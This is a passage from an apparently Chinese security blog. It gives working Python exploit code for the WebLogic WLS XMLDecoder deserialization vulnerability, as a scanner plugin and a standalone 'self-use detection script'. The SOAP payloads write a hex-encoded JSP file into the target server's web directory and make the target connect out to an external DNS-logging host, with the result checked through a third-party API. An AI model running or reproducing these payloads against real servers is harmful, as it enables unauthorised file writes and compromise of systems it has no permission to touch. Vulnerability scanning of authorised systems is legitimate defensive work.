3a;&#x3c;&#x2f;&#x48;&#x33;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x34;&#x3e;&#x31;&#x30;&#x2e;&#x34;&#x2e;&#x35;&#x20;&#x34;&#x30;&#x34;&#x20;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x48;&#x34;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x50;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x43;&#x6f;&#x75;&#x72;&#x69;&#x65;&#x72;&#x20;&#x4e;&#x65;&#x77;&#x22;&#x3e;&#x54;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x68;&#x61;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x66;&#x6f;&#x75;&#x6e;&#x64;&#x20;&#x61;&#x6e;&#x79;&#x74;&#x68;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x69;&#x6e;&#x67;&#x20;&#x74;&#x68;&#x65;&#x20;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2d;&#x55;&#x52;&#x49;&#x2e;&#x20;&#x4e;&#x6f;&#x20;&#x69;&#x6e;&#x64;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x69;&#x73;&#x20;&#x67;&#x69;&#x76;&#x65;&#x6e;&#x20;&#x6f;&#x66;&#x20;&#x77;&#x68;&#x65;&#x74;&#x68;&#x65;&#x72;&#x20;&#x74;&#x68;&#x65;&#x20;&#x63;&#x6f;&#x6e;&#x64;&#x69;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x69;&#x73;&#x20;&#x74;&#x65;&#x6d;&#x70;&#x6f;&#x72;&#x61;&#x72;&#x79;&#x20;&#x6f;&#x72;&#x20;&#x70;&#x65;&#x72;&#x6d;&#x61;&#x6e;&#x65;&#x6e;&#x74;&#x2e;&#x3c;&#x2f;&#x70;&#x3e;&#x3c;&#x70;&#x3e;&#x49;&#x66;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x64;&#x6f;&#x65;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x77;&#x69;&#x73;&#x68;&#x20;&#x74;&#x6f;&#x20;&#x6d;&#x61;&#x6b;&#x65;&#x20;&#x74;&#x68;&#x69;&#x73;&#x20;&#x69;&#x6e;&#x66;&#x6f;&#x72;&#x6d;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x61;&#x76;&#x61;&#x69;&#x6c;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x74;&#x6f;&#x20;&#x74;&#x68;&#x65;&#x20;&#x63;&#x6c;&#x69;&#x65;&#x6e;&#x74;&#x2c;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x63;&#x6f;&#x64;&#x65;&#x20;&#x34;&#x30;&#x33;&#x20;&#x28;&#x46;&#x6f;&#x72;&#x62;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x29;&#x20;&#x63;&#x61;&#x6e;&#x20;&#x62;&#x65;&#x20;&#x75;&#x73;&#x65;&#x64;&#x20;&#x69;&#x6e;&#x73;&#x74;&#x65;&#x61;&#x64;&#x2e;&#x20;&#x54;&#x68;&#x65;&#x20;&#x34;&#x31;&#x30;&#x20;&#x28;&#x47;&#x6f;&#x6e;&#x65;&#x29;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x63;&#x6f;&#x64;&#x65;&#x20;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x68;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x22;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3d;&#x22;&#x3c;&#x25;&#x3d;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x52;&#x65;&#x61;&#x6c;&#x50;&#x61;&#x74;&#x68;&#x28;&#x22;&#x2f;&#x22;&#x29;&#x20;&#x25;&#x3e;&#x22;&#x20;&#x69;&#x64;&#x3d;&#x22;&#x63;&#x39;&#x39;&#x34;&#x38;&#x32;&#x65;&#x37;&#x32;&#x39;&#x35;&#x66;&#x32;&#x31;&#x39;&#x64;&#x34;&#x64;&#x32;&#x62;&#x62;&#x31;&#x66;&#x65;&#x39;&#x33;&#x39;&#x63;&#x39;&#x65;&#x63;&#x35;&#x22;&#x3e;&#x53;&#x48;&#x4f;&#x55;&#x4c;&#x44;&#x20;&#x62;&#x65;&#x20;&#x75;&#x73;&#x65;&#x64;&#x20;&#x69;&#x66;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x6b;&#x6e;&#x6f;&#x77;&#x73;&#x2c;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x75;&#x67;&#x68;&#x20;&#x73;&#x6f;&#x6d;&#x65;&#x20;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x6c;&#x79;&#x20;&#x63;&#x6f;&#x6e;&#x66;&#x69;&#x67;&#x75;&#x72;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6d;&#x65;&#x63;&#x68;&#x61;&#x6e;&#x69;&#x73;&#x6d;&#x2c;&#x20;&#x74;&#x68;&#x61;&#x74;&#x20;&#x61;&#x6e;&#x20;&#x6f;&#x6c;&#x64;&#x20;&#x72;&#x65;&#x73;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x20;&#x69;&#x73;&#x20;&#x70;&#x65;&#x72;&#x6d;&#x61;&#x6e;&#x65;&#x6e;&#x74;&#x6c;&#x79;&#x20;&#x75;&#x6e;&#x61;&#x76;&#x61;&#x69;&#x6c;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x61;&#x6e;&#x64;&#x20;&#x68;&#x61;&#x73;&#x20;&#x6e;&#x6f;&#x20;&#x66;&#x6f;&#x72;&#x77;&#x61;&#x72;&#x64;&#x69;&#x6e;&#x67;&#x20;&#x61;&#x64;&#x64;&#x72;&#x65;&#x73;&#x73;&#x2e;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x50;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x54;&#x44;&#x3e;&#x3c;&#x2f;&#x54;&#x52;&#x3e;&#xa;&#x3c;&#x2f;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x3e;&#xa;&#xa;&#x3c;&#x2f;&#x42;&#x4f;&#x44;&#x59;&#x3e;&#xa;&#x3c;&#x2f;&#x48;&#x54;&#x4d;&#x4c;&#x3e;&#x3c;&#x25;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x73;&#x65;&#x74;&#x53;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x34;&#x30;&#x34;&#x29;&#x3b;&#x25;&#x3e;</string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
        try:
            response = requests.post(exp_url, data=payload.replace('bb1fe939c9ec5',random_file),headers=self.headers, timeout=60, verify=False,allow_redirects = False)
        except Exception, e:
            self.result.error = str(e)
            return

        if response.status_code == 404:
            return

        nurl = self.option.url+'/bea_wls_internal/bb1fe939c9ec5.jsp'
        self.print_debug(nurl.replace('bb1fe939c9ec5',random_file))
        try:
            rep = requests.get(nurl.replace('bb1fe939c9ec5',random_file),headers=self.headers,timeout=60, verify=False,allow_redirects = False)
            if rep.status_code == 404 and 'c99482e7295f219d4d2bb1fe939c9ec5' in rep.content:
                path = re.findall(r'value="(.*?) id="',rep.content)
                if path:
                    self.print_debug(path)
                    self.result.status = True
                    self.result.description = "目标 {url} 存在WebLogic的WLS组件存在xmldecoder反序列漏洞,\n服务器的路径是{path},\n测试的payload为: \n{payload}".format(
                        url=exp_url,
                        path = path[0],
                        payload = payload.replace('bb1fe939c9ec5',random_file)
                    )
        except Exception as e:
            self.result.error = str(e)
            return

    def verify(self):
        payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java> 
        <void class="java.net.Socket"> 
          <string>{host}.tscan.xxxx.info</string>
          <int>3000</int>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>'''
        exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=self.option.url))
        newurlparse = urlparse(self.option.url)
        host = newurlparse.netloc.replace(':','_').replace('.','_')+'_'+str(randint(1000,9999))
        self.print_debug(host)
        try:
            resp = requests.get(exp_url,headers=self.headers,timeout=60, verify=False,allow_redirects = False)
            if resp.status_code == 404:
                return
        except Exception as e:
            self.result.error = str(e)
            return
        self.print_debug(payload.format(host=host))
        try:
            response = requests.post(exp_url, data=payload.format(host=host),headers=self.headers, timeout=60, verify=False,allow_redirects = False)
        except Exception, e:
            self.result.error = str(e)
            return

        time.sleep(3)
        try:
            verify_url = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action=dnslog&domain={host}"
            self.print_debug(verify_url.format(host=host))
            verify_rep = requests.get(verify_url.format(host=host),timeout=60, verify=False,allow_redirects = False)
            if verify_rep.content.find(host)!=-1:
                self.result.status = True
                self.result.description = "目标 {url} 存在WebLogic的WLS组件存在xmldecoder反序列漏洞, 测试的payload为: \n{payload}".format(
                    url=exp_url,
                    payload = payload.format(host=host)
                )
            else:
                self.verify_shell()
        except Exception as e:
            self.result.error = str(e)
            return
        finally:
            clearurl = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action=clearlog&domain={host}"
            self.print_debug(clearurl.format(host=host))
            requests.get(clearurl.format(host=host),timeout=60, verify=False,allow_redirects = False)

    def exploit(self):
        self.verify()

附上自用检测脚本

# -*- coding: utf-8 -*-
import re
import requests
from urlparse import urlparse
from random import randint

headers={
    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Cookie':'wp-settings-time-1=1506773666',
    'SOAPAction': "",
    'Content-Type':"text/xml"
    }
def check_shell(domain):
    exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=domain))
    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string>&#x3c;&#x25;&#x40;&#x20;&#x70;&#x61;&#x67;&#x65;&#x20;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x22;&#x20;&#x70;&#x61;&#x67;&#x65;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x22;&#x67;&#x62;&#x6b;&#x22;&#x25;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x68;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x22;&#x20;&#x70;&#x61;&#x74;&#x68;&#x3d;&#x22;&#x3c;&#x25;&#x3d;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x52;&#x65;&#x61;&#x6c;&#x50;&#x61;&#x74;&#x68;&#x28;&#x22;&#x2f;&#x22;&#x29;&#x20;&#x25;&#x3e;&#x22;&#x3e;&#x3c;&#x25;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x73;&#x65;&#x74;&#x53;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x34;&#x30;&#x34;&#x29;&#x3b;&#x25;&#x3e;</string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
    try:
        response = requests.post(exp_url, data=payload,headers=headers, timeout=60, verify=False,allow_redirects = False)
        if response.status_code == 404:
            return
        shell_url = ("{domain}/bea_wls_internal/bb1fe939c9ec5.jsp".format(domain=domain))
        rep = requests.get(shell_url,headers=headers,timeout=60, verify=False,allow_redirects = False)
        if rep.status_code==404 and "path=" in rep.content:
            get_path = re.findall(r'path="(.*?)"',rep.content)
            if len(get_path)>0:
                print domain+"\tsuccess\t"+get_path[0]
    except Exception as e:
        print str(e)
        return False

def check_dnslog(host):
    verify_url = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action={action}&domain={host}"
    try:
        verify_rep = requests.get(verify_url.format(host=host,action='dnslog'),timeout=60, verify=False,allow_redirects = False)
        if verify_rep.content.find(host)!=-1:
            return True
    except Exception as e:
        return False
    finally:
        requests.get(verify_url.format(host=host,action='clearlog'),timeout=60, verify=False,allow_redirects = False)

def verify(domain):
    exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=domain))
    newurlparse = urlparse(domain)
    host = newurlparse.netloc.replace(':','_').replace('.','_')+'_'+str(randint(1000,9999))

    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java> 
        <void class="java.net.Socket"> 
          <string>{host}.tscan.xxx.info</string>
          <int>3000</int>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>'''
    try:
        resp = requests.get(exp_url,headers=headers,timeout=60, verify=False,allow_redirects = False)
        if resp.status_code == 404:
            return
        response = requests.post(exp_url, data=payload.format(host=host),headers=headers, timeout=60, verify=False,allow_redirects = False)
    except Exception as e:
        print str(e)
        return
    if check_dnslog(host):
        print domain+"\tsuccess"
    else:
        check_shell(domain)

def main(host):
    if host.startswith('http'):
        domain = host
    else:
        domain = "http://"+domain
    verify(domain.strip('/'))

if __name__ == "__main__":
    import sys
    if len(sys.argv)>=2:
        main(sys.argv[1])
    else:
        print "python %s http://www.baidu.com" % (sys.argv[0])
分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...